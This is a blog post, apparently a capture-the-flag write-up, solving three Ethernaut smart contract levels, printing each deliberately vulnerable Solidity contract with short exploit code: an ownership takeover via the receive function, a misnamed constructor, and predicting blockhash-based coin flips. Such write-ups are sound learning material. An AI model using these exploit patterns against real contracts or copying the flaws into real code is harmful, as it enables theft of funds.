Let's play some Ethernauts
Context
Ethernaut is a capture the flag smart contract security game inspired by overthewire wargames (which are a lot of fun as well).
It's been a long time since I got any real amount of work done on smart contracts, and I want to get back into it. Perhaps even focus more on security & auditing this time around.
Plus, I'm in my year of resourcefulness so I want to have my skills & scripts ready in case I need them.
Plumbing
After going down a very uninteresting rabbit hole of trying to replicate the exact same environment locally that's available on the sepolia network, so I can have solutions that work against the canonical Ethernaut contracts and also run offline, I decided to just fork off from some anon's work and off I went.
The repo just runs the contracts in some Foundry tests. It's not clean by any means, but for once I want to get to work on the interesting stuff instead of spending an entire day sweeping the floor. So let's get to it:
1: Fallback
code
pragma solidity ^0.8.13;
contract Fallback {
mapping(address => uint256) public contributions;
address payable public owner;
constructor() {
owner = payable(msg.sender);
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = payable(msg.sender);
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = payable(msg.sender);
}
}
solution
At first it looks simple enough, but there's a small caveat: the fallback function writes to storage, so the 2300 gas transfer forwards are not enough, and you have to use an explicit call
target.contribute{value: 100 wei}();
payable(target).call{value: 100 wei, gas: 30000}(bytes(""));
target.withdraw();
Fallout
Code
contract Fallout {
mapping(address => uint256) public allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = payable(msg.sender);
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] += msg.value;
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}
Solution
This one was harder before solidity 0.5. Back then, the constructor was defined as a function with the same name as the contract. It was entirely possible to rename the contract but forget to rename the constructor, and then you had a function open to the world where some important initialization probably happened.
target.Fal1out();
target.collectAllocations();
CoinFlip
Code
contract CoinFlip {
uint256 public consecutiveWins;
uint256 public lastHash;
uint256 public FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
Solution
This one is probably harder from the web interface, since the 'hack' is to pre-compute the same logic the contract executes in order to predict the result, and it's easiest to do so from a smart contract.
This being a foundry test and all, I had to use the cheatcodes to make the block number advance:
function predictFlip() private view returns (bool){
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / 57896044618658097711785492504343953926634992332820282019728792003956564819968;
return coinFlip == 1;
}
function solution(CoinFlip target) internal virtual {
for (uint i = 0 ; i < 10 ; i++){
target.flip(predictFlip());
vm.roll(block.number+1);
}
}
This was fun. I should have a few more done by next week.